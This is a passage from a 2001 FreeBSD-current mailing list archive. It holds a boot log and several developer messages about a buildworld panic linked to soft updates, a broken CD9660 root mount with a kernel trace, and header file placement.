supports D0 D1 D2 D3 current D0 map[10]: type 1, range 32, base f4000000, size 8, enabled map[14]: type 4, range 32, base 00001080, size 3, enabled map[18]: type 4, range 32, base 00001800, size 8, enabled found-> vendor=0x11c1, dev=0x0450, revid=0x00 bus=0, slot=16, func=0 class=07-80-00, hdrtype=0x00, mfdev=0 intpin=a, irq=7 powerspec 2 supports D0 D3 current D0 pci0: on pcib0 pcib1: at device 1.0 on pci0 pcib1: secondary bus 1 pcib1: subordinate bus 1 pcib1: I/O decode 0x2000-0x2fff pcib1: memory decode 0xf4100000-0xf41fffff pcib1: prefetched decode 0xf8000000-0xfbffffff pci1: physical bus=1 map[10]: type 3, range 32, base f8000000, size 26, enabled map[14]: type 4, range 32, base 00002000, size 8, enabled map[18]: type 1, range 32, base f4100000, size 14, enabled found-> vendor=0x1002, dev=0x4c46, revid=0x02 bus=1, slot=0, func=0 class=03-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=11 powerspec 2 supports D0 D1 D2 D3 current D0 pci1: on pcib1 pci1: at 0.0 (no driver attached) pcic-pci0: at device 4.0 on pci0 pcic-pci0: TI12XX PCI Config Reg: [ring enable][speaker enable][pwr save][FUNC pci int + CSC serial isa irq] pcic-pci0: Legacy address set to 0x3e0 PCI Config space: 00: ac51104c 02100007 06070000 00820000 10: 00000000 020000a0 20000000 00000000 20: 00000000 00000000 00000000 00000000 30: 00000000 00000000 00000000 03c001ff 40: 001114c0 000003e1 00000000 00000000 50: 00000000 00000000 00000000 00000000 60: 00000000 00000000 00000000 00000000 70: 00000000 00000000 00000000 00000000 80: 20449060 00000000 00000000 01021c02 90: 606682c0 00000000 00000000 00000000 Cardbus Socket registers: 00: f000ff53: f000ff53: f000e2c3: f000ff53: 10: f000ff53: f000ff54: f00092e9: f000ff53: ExCa registers: 00: eb 88 d5 43 30 d2 66 f7 f3 88 d7 5a 66 3d ff 03 10: 00 00 fb 77 44 86 c4 c0 c8 02 08 e8 40 91 88 fe 20: 28 e0 8a 66 02 38 e0 72 02 88 e0 bf 05 00 c4 5e 30: 04 50 b4 02 cd 13 5b 73 0a 4f 74 1c 30 e4 cd 13 pcic-pci1: at device 4.1 on pci0 pcic-pci1: TI12XX PCI Config Reg: [ring enable][speaker enable][pwr save][FUNC pci int + CSC serial isa irq] PCI Config space: 00: ac51104c 02100007 06070000 00820000 10: 00000000 020000a0 20000000 00000000 20: 00000000 00000000 00000000 00000000 30: 00000000 00000000 00000000 03c001ff 40: 001114c0 000003e1 00000000 00000000 50: 00000000 00000000 00000000 00000000 60: 00000000 00000000 00000000 00000000 70: 00000000 00000000 00000000 00000000 80: 20449060 00000000 00000000 01021c02 90: 606682c0 00000000 00000000 00000000 Cardbus Socket registers: 00: f000ff53: f000ff53: f000e2c3: f000ff53: 10: f000ff53: f000ff54: f00092e9: f000ff53: ExCa registers: 00: eb 88 d5 43 30 d2 66 f7 f3 88 d7 5a 66 3d ff 03 10: 00 00 fb 77 44 86 c4 c0 c8 02 08 e8 40 91 88 fe 20: 28 e0 8a 66 02 38 e0 72 02 88 e0 bf 05 00 c4 5e 30: 04 50 b4 02 cd 13 5b 73 0a 4f 74 1c 30 e4 cd 13 PCI-ISA bridge with incorrect subclass 0x80 PCI-ISA bridge with incorrect subclass 0x80 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0x1050-0x105f at device 7.1 on pci0 ata0: iobase=0x01f0 altiobase=0x03f6 bmaddr=0x1050 ata0: mask=03 ostat0=50 ostat2=00 ata0-slave: ATAPI probe 00 00 ata0-master: ATAPI probe 00 00 ata0: mask=03 stat0=50 stat1=00 ata0-master: ATA probe 01 a5 ata0: devices=01 ata0: at 0x1f0 irq 14 on atapci0 ata1: iobase=0x0170 altiobase=0x0376 bmaddr=0x1058 ata1: mask=03 ostat0=50 ostat2=01 ata1-master: ATAPI probe 14 eb ata1-slave: ATAPI probe ff ff ata1: mask=03 stat0=00 stat1=01 ata1-slave: ATA probe 00 ff ata1: devices=04 ata1: at 0x170 irq 15 on atapci0 uhci0: port 0x1060-0x107f irq 7 at device 7.2 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered pci0: at 7.3 (no driver attached) pcm0: port 0x1400-0x14ff irq 7 at device 8.0 on pci0 setmap (57a000, 4000), nseg=1, error=0 pcm0: Maestro DMA base: 0x57a000 pcm0: ac97 codec id 0x83847609 (SigmaTel STAC9721/9723) pcm0: ac97 codec features 18 bit DAC, 18 bit ADC, 5 bit master volume, SigmaTel 3D Enhancement pcm0: ac97 primary codec extended features AMAP setmap (582000, 4000), nseg=1, error=0 pcm0: pch[0].offset = 0x8000 setmap (58c000, 4000), nseg=1, error=0 pcm0: pch[1].offset = 0x12000 setmap (594000, 4000), nseg=1, error=0 pcm0: pch[2].offset = 0x1a000 setmap (5af000, 4000), nseg=1, error=0 pcm0: pch[3].offset = 0x35000 pci0: at 16.0 (no driver attached) ata-: ata0 already exists, using ata2 instead ata-: ata1 already exists, using ata3 instead pcm-: pcm0 already exists, using pcm1 instead Trying Read_Port at 203 Trying Read_Port at 243 Trying Read_Port at 283 Trying Read_Port at 2c3 Trying Read_Port at 303 Trying Read_Port at 343 Trying Read_Port at 383 Trying Read_Port at 3c3 pnpbios: 16 devices, largest 170 bytes PNP0c02: adding io range 0x80-0x80, size=0x1, align=0x1 PNP0c02: adding fixed memory32 range 0xfff80000-0xffffffff, size=0x80000 PNP0c02: end config pnpbios: handle 0 device ID PNP0c02 (020cd041) PNP0c01: adding fixed memory32 range 0-0x9ffff, size=0xa0000 PNP0c01: adding fixed memory32 range 0xe4000-0xfffff, size=0x1c000 PNP0c01: adding fixed memory32 range 0x100000-0xfffffff, size=0xff00000 PNP0c01: end config pnpbios: handle 1 device ID PNP0c01 (010cd041) PNP0200: adding io range 0-0xf, size=0x10, align=0x1 PNP0200: adding io range 0x81-0x8f, size=0xf, align=0x1 PNP0200: adding io range 0xc0-0xdf, size=0x20, align=0x1 PNP0200: adding dma mask 0x10 PNP0200: end config pnpbios: handle 2 device ID PNP0200 (0002d041) PNP0000: adding io range 0x20-0x21, size=0x2, align=0x1 PNP0000: adding io range 0xa0-0xa1, size=0x2, align=0x1 PNP0000: adding irq mask 0x4 PNP0000: end config pnpbios: handle 3 device ID PNP0000 (0000d041) PNP0100: adding io range 0x40-0x43, size=0x4, align=0x1 PNP0100: adding irq mask 0x1 PNP0100: end config pnpbios: handle 4 device ID PNP0100 (0001d041) PNP0b00: adding io range 0x70-0x71, size=0x2, align=0x1 PNP0b00: adding irq mask 0x100 PNP0b00: end config pnpbios: handle 5 device ID PNP0b00 (000bd041) PNP0303: adding io range 0x60-0x60, size=0x1, align=0x1 PNP0303: adding io range 0x64-0x64, size=0x1, align=0x1 PNP0303: adding irq mask 0x2 PNP0303: end config pnpbios: handle 6 device ID PNP0303 (0303d041) PNP0c04: adding io range 0xf0-0xff, size=0x10, align=0x1 PNP0c04: adding irq mask 0x2000 PNP0c04: end config pnpbios: handle 7 device ID PNP0c04 (040cd041) PNP0800: adding io range 0x61-0x61, size=0x1, align=0x1 PNP0800: end config pnpbios: handle 8 device ID PNP0800 (0008d041) PNP0a03: adding io range 0xcf8-0xcff, size=0x8, align=0x1 PNP0a03: end config pnpbios: handle 9 device ID PNP0a03 (030ad041) PNP0c02: adding io range 0x4d0-0x4d1, size=0x2, align=0x1 PNP0c02: adding io range 0x1000-0x103f, size=0x40, align=0x1 PNP0c02: adding io range 0x1040-0x104f, size=0x10, align=0x1 PNP0c02: adding io range 0x10-0x18, size=0x9, align=0x1 PNP0c02: adding io range 0x1f-0x1f, size=0x1, align=0x1 PNP0c02: adding io range 0x24-0x25, size=0x2, align=0x1 PNP0c02: adding io range 0x28-0x29, size=0x2, align=0x1 PNP0c02: adding io range 0x2c-0x2d, size=0x2, align=0x1 PNP0c02: adding io range 0x30-0x31, size=0x2, align=0x1 PNP0c02: adding io range 0x34-0x35, size=0x2, align=0x1 PNP0c02: adding io range 0x38-0x39, size=0x2, align=0x1 PNP0c02: adding io range 0x3c-0x3d, size=0x2, align=0x1 PNP0c02: adding io range 0x50-0x52, size=0x3, align=0x1 PNP0c02: adding io range 0x72-0x77, size=0x6, align=0x1 PNP0c02: adding io range 0x90-0x9f, size=0x10, align=0x1 PNP0c02: adding io range 0xa4-0xa5, size=0x2, align=0x1 PNP0c02: adding io range 0xa8-0xa9, size=0x2, align=0x1 PNP0c02: adding io range 0xac-0xad, size=0x2, align=0x1 PNP0c02: adding io range 0xb0-0xbd, size=0xe, align=0x1 PNP0c02: end config pnpbios: handle 10 device ID PNP0c02 (020cd041) PNP0c02: skipping empty range PNP0c02: end config pnpbios: handle 12 device ID PNP0c02 (020cd041) PNP0c02: adding fixed memory32 range 0xcf000-0xcffff, size=0x1000 PNP0c02: end config pnpbios: handle 13 device ID PNP0c02 (020cd041) PNP0501: adding io range 0x3f8-0x3ff, size=0x8, align=0x1 PNP0501: adding irq mask 0x10 PNP0501: end config pnpbios: handle 15 device ID PNP0501 (0105d041) PNP0f13: end config pnpbios: handle 17 device ID PNP0f13 (130fd041) PNP0700: adding io range 0x3f0-0x3f5, size=0x6, align=0x1 PNP0700: adding io range 0x3f7-0x3f7, size=0x1, align=0x1 PNP0700: adding irq mask 0x40 PNP0700: adding dma mask 0x4 PNP0700: end config pnpbios: handle 20 device ID PNP0700 (0007d041) sc-: sc0 already exists, using sc1 instead vga-: vga0 already exists, using vga1 instead isa_probe_children: disabling PnP devices isa_probe_children: probing non-PnP devices adv0 failed to probe on isa0 aha0 failed to probe on isa0 aic0 failed to probe on isa0 ata2 failed to probe at port 0x1f0 irq 14 on isa0 ata3 failed to probe at port 0x170 irq 15 on isa0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 atkbd: the current kbd controller command byte 0047 atkbd: keyboard ID 0x41ab (2) kbd0 at atkbd0 kbd0: atkbd0, AT 101/102 (2), config:0x1, flags:0x3d0000 psm0: current command byte:0047 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0-00, 2 buttons psm0: config:00006000, flags:00000000, packet size:3 psm0: syncmask:c0, syncbits:00 bt0 failed to probe on isa0 cs0 failed to probe at port 0x300 on isa0 ed0 failed to probe at port 0x280-0x29f iomem 0xd8000 irq 10 on isa0 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 fe0 failed to probe at port 0x300 on isa0 ie0 failed to probe at port 0x300 iomem 0xd0000 irq 10 on isa0 le0 failed to probe at port 0x300 iomem 0xd0000 irq 5 on isa0 lnc0 failed to probe at port 0x280 irq 10 drq 0 on isa0 pcic0: at port 0x3e0 iomem 0xd0000 on isa0 pccard0: on pcic0 pccard1: on pcic0 pcic0: Polling mode stat is 0 stat is 6d pcic1: not probed (disabled) mss_probe: no address given, try 0x530 mss_detect, busy still set (0xff) pcm1 failed to probe at port 0x530-0x537,0xf8c-0xf94,0xe0e irq 10 drq 1 on isa0 pmtimer0 on isa0 ppc0: parallel port not found. ppc0: failed to probe at irq 7 on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sc0: fb0, kbd0, terminal emulator: sc (syscons terminal) sio0: irq maps: 0x41 0x51 0x41 0x41 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: irq maps: 0x41 0x41 0x41 0x41 sio1: probe failed test(s): 0 1 2 4 6 7 9 sio1 failed to probe at port 0x2f8-0x2ff irq 3 on isa0 sio2: not probed (disabled) sio3: not probed (disabled) sn0 failed to probe at port 0x300 irq 10 on isa0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 fb0: vga0, vga, type:VGA (5), flags:0x7007f fb0: port:0x3c0-0x3df, crtc:0x3d4, mem:0xa0000 0x20000 fb0: init mode:24, bios mode:3, current mode:24 fb0: window:0xc00b8000 size:32k gran:32k, buf:0 size:32k vga0: vga: WARNING: video mode switching is not fully supported on this adapter VGA parameters upon power-up 50 18 10 00 00 00 03 00 02 67 6f 4f 4f 93 55 c3 9e 1f 00 4f 0d 0e 00 00 07 80 8f 82 8f 28 1f 8f 9f a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff VGA parameters in BIOS for mode 24 50 18 0e 00 10 01 03 00 02 a3 5f 4f 50 82 55 81 bf 1f 00 4d 0b 0c 00 00 00 00 83 85 5d 28 1f 63 ba a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 08 00 0f 00 00 00 00 00 00 10 0e 00 ff EGA/VGA parameters to be used for mode 24 50 18 10 00 00 00 03 00 02 67 6f 4f 4f 93 55 c3 9e 1f 00 4f 0d 0e 00 00 07 80 8f 82 8f 28 1f 8f 9f a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff vt0 failed to probe on isa0 sc1: no video adapter is found. sc1: failed to probe on isa0 vga1: failed to probe on isa0 isa_probe_children: probing PnP devices unknown: can't assign resources unknown: at port 0x60 on isa0 unknown: failed to probe at port 0x61 on isa0 unknown: can't assign resources unknown: at port 0x3f8-0x3ff on isa0 unknown: failed to probe on isa0 unknown: can't assign resources unknown: at port 0x3f0-0x3f5 on isa0 BIOS Geometries: 0:03feef3f 0..1022=1023 cylinders, 0..239=240 heads, 1..63=63 sectors 0 accounted for Device configuration finished. bpf: lo0 attached bpf: ppp0 attached bpf: faith0 attached bpf: gif0 attached bpf: gif1 attached bpf: gif2 attached bpf: gif3 attached ad0: success setting UDMA2 on Intel chip Creating DISK ad0 ad0: ATA-5 disk at ata0-master ad0: 19077MB (39070080 sectors), 38760 C, 16 H, 63 S, 512 B ad0: 16 secs/int, 1 depth queue, UDMA33 ad0: piomode=4 dmamode=2 udmamode=4 cblid=1 ata1-master: piomode=4 dmamode=0 udmamode=-1 dmaflag=1 ata1-master: success setting PIO4 on generic chip acd0: CD-RW drive at ata1 as master acd0: read 3445KB/s (50012KB/s) write 689KB/s (689KB/s), 2048KB buffer, PIO4 acd0: Reads: CD-R, CD-RW, CD-DA stream, packet acd0: Writes: CD-R, CD-RW, test write acd0: Audio: play, 255 volume levels acd0: Mechanism: ejectable trayacd0: Medium: no/blank disc, unlocked Mounting root from ufs:/dev/ad0s3a pccard: card inserted, slot 1 ad0s1: type 0xa5, start 63, end = 2086559, size 2086497 : OK ad0s2: type 0xa5, start 2086560, end = 4173119, size 2086560 : OK ad0s3: type 0xa5, start 5231520, end = 39070079, size 33838560 : OK ad0s4: type 0xa0, start 4173120, end = 5231519, size 1058400 : OK ad0s4: raw partition size != slice size ad0s4: start 4173120, end 5231519, size 1058400 ad0s4c: start 4173120, end 6259679, size 2086560 ad0s4: truncating raw partition ad0s4: rejecting partition in BSD label: it isn't entirely within the slice ad0s4: start 4173120, end 5231519, size 1058400 ad0s4e: start 4369728, end 6259679, size 1889952 start_init: trying /sbin/init And here's "vmstat -i", in case that's of interest/use: dhcp-140[2] vmstat -i interrupt total rate stray irq0 1 0 stray irq3 1 0 stray irq6 1 0 ata0 irq14 3521 11 ata1 irq15 4 0 atkbd0 irq1 1093 3 psm0 irq12 1050 3 fdc0 irq6 1 0 clk irq0 29761 99 an0 irq3 2406 8 Total 37839 126 dhcp-140[3] At this point, I have a fair degree of confidence that whatever was causing the problem can probably be found, and its source code updated. But while -CURRENT appears to be OK for "normal" use for me, I'm not doing so well in the "make buildworld" department, so getting the fix implemented sounds as if it could prove challenging. (This might be a time to actually do the build while running -STABLE, chrooted into the -CURRENT /, perhaps. Here's the disk layout: Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/ad0s3a 95263 73738 13904 84% / devfs 1 1 0 100% /dev /dev/ad0s1a 95263 40812 46830 47% /S1 /dev/ad0s1e 915695 777472 64968 92% /S1/usr /dev/ad0s2a 95263 41030 46612 47% /S2 /dev/ad0s2e 915727 776108 66361 92% /S2/usr /dev/ad0s3e 915727 733308 109161 87% /usr /dev/ad0s3g 254063 100438 133300 43% /var /dev/ad0s3h 14116697 3894246 9093116 30% /common procfs 4 4 0 100% /proc /dev/md10c 520140 16 478516 0% /tmp I'm not overwhelmingly confident of the likely results from this process, though. Thoughts?) Thanks, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 11:31:17 2001 Delivered-To: freebsd-current@freebsd.org Received: from sol.serv.u-szeged.hu (sol.serv.u-szeged.hu [160.114.51.3]) by hub.freebsd.org (Postfix) with ESMTP id 7B29537B43C for ; Fri, 18 May 2001 11:31:13 -0700 (PDT) (envelope-from sziszi@petra.hos.u-szeged.hu) Received: from petra.hos.u-szeged.hu by sol.serv.u-szeged.hu (8.9.3+Sun/SMI-SVR4) id UAA20005; Fri, 18 May 2001 20:31:06 +0200 (MEST) Received: from sziszi by petra.hos.u-szeged.hu with local (Exim 3.12 #1 (Debian)) id 150p1k-0003jT-00 for ; Fri, 18 May 2001 20:31:04 +0200 Date: Fri, 18 May 2001 20:31:04 +0200 From: Szilveszter Adam To: current@freebsd.org Subject: Re: Panic during -CURRENT buildworld Message-ID: <20010518203104.C10280@petra.hos.u-szeged.hu> Mail-Followup-To: Szilveszter Adam , current@freebsd.org References: <200105181748.f4IHmJS88409@bunrab.catwhisker.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200105181748.f4IHmJS88409@bunrab.catwhisker.org>; from david@catwhisker.org on Fri, May 18, 2001 at 10:48:19AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello everybody, These problems with the alternate superblock remind me... there were reports about the same when fsck had problems some time ago. But there was a common theme to all of them: The fsck raves were a whole lot more severe if there were softupdates enabled. I for example have been running -CURRENT for quite a while here on a daily basis (although I have never tried to use the same file systems concurrently with -STABLE) doing buildowrlds, Mozilla bi-daily builds and other fun stuff, yet have not seen any problems of this kind. Even when I had a crash, a manual fsck (for safety's sake) always fixed things as it should, and never complained. And this, although I had some very unfortunate crashes, when eg I crashed from X in the middle of a Mozilla build, but even so there were almost no file structures damaged or at least not noted by fsck. But I have never enabled soft updates on any fs of mine, which of course means that some operations require all the time in the world to complete, but seems it is safer somehow. I am probably just lucky and totally wrong, but just speculating... -- Regards: Szilveszter ADAM Szeged University Szeged Hungary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 19:17:20 2001 Delivered-To: freebsd-current@freebsd.org Received: from updraft.jp.freebsd.org (updraft.jp.FreeBSD.ORG [210.157.158.42]) by hub.freebsd.org (Postfix) with ESMTP id CD33737B422 for ; Fri, 18 May 2001 19:17:13 -0700 (PDT) (envelope-from matusita@jp.FreeBSD.org) Received: from localhost (localhost [127.0.0.1]) by updraft.jp.freebsd.org (8.11.3+3.4W/8.11.3) with ESMTP/inet id f4J2HB868160 for ; Sat, 19 May 2001 11:17:11 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) X-Face: '*aj"d@ijeQ:/X}]oM5c5Uz{ZZZk90WPt>a^y4$cGQp8:!H\W=hSM;PuNiidkc]/%,;6VGu e+`&APmz|P;F~OL/QK%;P2vU>\j4X.8@i%j6[%DTs_3J,Fff0)*oHg$A.cDm&jc#pD24WK@{,"Ef!0 P\):.2}8jo-BiZ?X&t$V X-User-Agent: Mew/1.94.2 XEmacs/21.5 (alfalfa) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 64 From: Makoto MATSUSHITA To: current@freebsd.org Subject: Mounting CD9660 filesystem as root filesystem is broken Date: Sat, 19 May 2001 11:16:55 +0900 Message-Id: <20010519111655N.matusita@jp.FreeBSD.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I've send a email before about this[1], but a situation is not changed until now. My friends does confirm the situation recently[2], so I send a email again... *** It seems that recent (as of May/2001) 5-current kernel cannot mount CD9660 filesystem (usually CD-ROM) as a root filesystem. The kernel behavior is a little bit different both ATAPI CD-ROM and SCSI CD-ROM. - ATAPI CD-ROM (using 440BX/i815 motherboard, on-board IDE) As said before[1], kernel try to mount but failed. Mounting root from cd9660:cd0a setrootbyname failed iso_mountroot: can't find rootvp Root mount failed: 6 Mounting root from cd9660:acd0a setrootbyname failed iso_mountroot: can't find rootvp Root mount failed: 6 Mounting root from cd9660:wcd0a setrootbyname failed iso_mountroot: can't find rootvp Root mount failed: 6 No matter the kernel can mount root filesystem or not, it seems that src/sys/vfs_conf.c needs modification, no 'wcd' anymore:) - SCSI CD-ROM (using AHA-2940UW as SCSI HA) Unfortunately, kernel panics when it try to mount CD-ROM. Mounting root from cd9660:cd0a Fatal trap 12: page fault while in kernel mode fault virtual address = 0x28 fault code = supervisor read, page not present instruction pointer = 0x8:0xc025f4e7 stack pointer = 0x10:0xc05cedb4 frame pointer = 0x10:0xc05cedd8 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enables, resume, IOPL=0 current process = 0 (swapper) kernel: type 12 trap, code = 0 Stopped at dsioctl+0x3f: movl 0xc(%eax),%eax As a result, mounting CD9660 filesystem (formaly CD9660_ROOT) is broken in recent 5-current. Any clues? P.S.: A procedure to make a CD-ROM itself is shown in my previous email[1]. -- - Makoto `MAR' MATSUSHITA Appendix: [1] http://docs.freebsd.org/cgi/getmsg.cgi?fetch=17671+0+archive/2001/freebsd-current/20010422.freebsd-current [2] Thanks to kuriyama-san (ATAPI CD-ROM case) and motoyuki-san (SCSI CD-ROM case). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 19:24:45 2001 Delivered-To: freebsd-current@freebsd.org Received: from updraft.jp.freebsd.org (updraft.jp.FreeBSD.ORG [210.157.158.42]) by hub.freebsd.org (Postfix) with ESMTP id 2EE3137B42C for ; Fri, 18 May 2001 19:24:42 -0700 (PDT) (envelope-from matusita@jp.FreeBSD.org) Received: from localhost (localhost [127.0.0.1]) by updraft.jp.freebsd.org (8.11.3+3.4W/8.11.3) with ESMTP/inet id f4J2Oe868344 for ; Sat, 19 May 2001 11:24:40 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) In-Reply-To: <20010519111655N.matusita@jp.FreeBSD.org> References: <20010519111655N.matusita@jp.FreeBSD.org> X-Face: '*aj"d@ijeQ:/X}]oM5c5Uz{ZZZk90WPt>a^y4$cGQp8:!H\W=hSM;PuNiidkc]/%,;6VGu e+`&APmz|P;F~OL/QK%;P2vU>\j4X.8@i%j6[%DTs_3J,Fff0)*oHg$A.cDm&jc#pD24WK@{,"Ef!0 P\):.2}8jo-BiZ?X&t$V X-User-Agent: Mew/1.94.2 XEmacs/21.5 (alfalfa) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 13 From: Makoto MATSUSHITA To: current@freebsd.org Subject: Re: Mounting CD9660 filesystem as root filesystem is broken Date: Sat, 19 May 2001 11:24:31 +0900 Message-Id: <20010519112431N.matusita@jp.FreeBSD.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Forge to mention that all tests are done with Intel PCs. matusita> P.S.: A procedure to make a CD-ROM itself is shown in my previous email[1]. If you wanna get CD-ROM image to reproduce this with your PC, fetch . This CD image is bootable, and contains _all_ distributions of 5-current. If boot with single-user mode, we can use this CD instead of fixit.flp (that's all I want to do). -- - Makoto `MAR' MATSUSHITA To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 19:36:15 2001 Delivered-To: freebsd-current@freebsd.org Received: from peter3.wemm.org (c1315225-a.plstn1.sfba.home.com [65.0.135.147]) by hub.freebsd.org (Postfix) with ESMTP id 38C3837B50F; Fri, 18 May 2001 19:35:58 -0700 (PDT) (envelope-from peter@wemm.org) Received: from overcee.netplex.com.au (overcee.wemm.org [10.0.0.3]) by peter3.wemm.org (8.11.0/8.11.0) with ESMTP id f4J2ZwM66137; Fri, 18 May 2001 19:35:58 -0700 (PDT) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id E85E0380A; Fri, 18 May 2001 19:35:57 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Brian Somers Cc: cvs@FreeBSD.org, Bruce Evans , Doug Rabson , Warner Losh , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) In-Reply-To: <200105181248.f4ICmDb95301@hak.lan.Awfulhak.org> Date: Fri, 18 May 2001 19:35:57 -0700 From: Peter Wemm Message-Id: <20010519023557.E85E0380A@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Brian Somers wrote: > John/peter, could you repo-copy src/sys/dev/digi/digiio.h to > src/sys/sys/digiio.h ? Done. > Ta. > > > On Fri, 18 May 2001, Brian Somers wrote: > > > > > > On Thu, 17 May 2001, Warner Losh wrote: > > > > I quite like the fact that the programming interface is > > > > separated from the driver implementation. There is less chance that the > > > > driver writer will expose irrelavent implementation details in the API, > > > > which in turn makes for a more stable ABI. > > > > > > I agree, and what's more, bde hasn't disagreed to any such > > > suggestions.... > > > > I agree too :-). > > > > Bruce > > -- > Brian > > Don't _EVER_ lose your sense of humour ! > > > > Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 21:26: 8 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id 61BB837B422 for ; Fri, 18 May 2001 21:26:05 -0700 (PDT) (envelope-from david@catwhisker.org) Received: (from david@localhost) by bunrab.catwhisker.org (8.10.0/8.10.0) id f4J4PxM89679 for current@FreeBSD.ORG; Fri, 18 May 2001 21:25:59 -0700 (PDT) Date: Fri, 18 May 2001 21:25:59 -0700 (PDT) From: David Wolfskill Message-Id: <200105190425.f4J4PxM89679@bunrab.catwhisker.org> To: current@FreeBSD.ORG Subject: Re: Panic during -CURRENT buildworld In-Reply-To: <200105181748.f4IHmJS88409@bunrab.catwhisker.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >Date: Fri, 18 May 2001 10:48:19 -0700 (PDT) >From: David Wolfskill >[Excruciatingly long narrative of panic during buildworld for today's -CURRENT elided; it's in the archives. dhw] Reporting back after getting today's -CURRENT built: FreeBSD dhcp-140.catwhisker.org 5.0-CURRENT FreeBSD 5.0-CURRENT #2: Fri May 18 11:31:46 PDT 2001 root@:/common/C/obj/usr/src/sys/LAPTOP_30W i386 Taking a cue from Szilveszter Adam's response to my note, I booted into single-user mode, turned off soft updates for the file systems on ad0s3 (all of which get used during the biuldworld/installworld process, since /usr/obj is a symlink to somwhere in /common -- df listing below for reference), and I unmounted the file systems on ad0s1 & ad0s2. I then did the make buildworld/kernel/installworld & mergemaster while remaining in single-user mode, running yesterday's -CURRENT (but, as noted, with soft updates turned off for all mounted file systems). As noted, it appears to have completed successfully. I have turned soft updates back on for everything. Tomorrow's build may prove "interesting". Here's what "df -k" looks like (while I'm running -CURRENT): Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/ad0s3a 95263 73782 13860 84% / devfs 1 1 0 100% /dev /dev/ad0s1a 95263 40812 46830 47% /S1 /dev/ad0s1e 915695 777472 64968 92% /S1/usr /dev/ad0s2a 95263 41030 46612 47% /S2 /dev/ad0s2e 915727 776108 66361 92% /S2/usr /dev/ad0s3e 915727 733431 109038 87% /usr /dev/ad0s3g 254063 107557 126181 46% /var /dev/ad0s3h 14116697 4180188 8807174 32% /common procfs 4 4 0 100% /proc /dev/md10c 520140 16 478516 0% /tmp I haven't seen anyone else reporting any problems similar to what I experienced, so I'm not about to claim there's 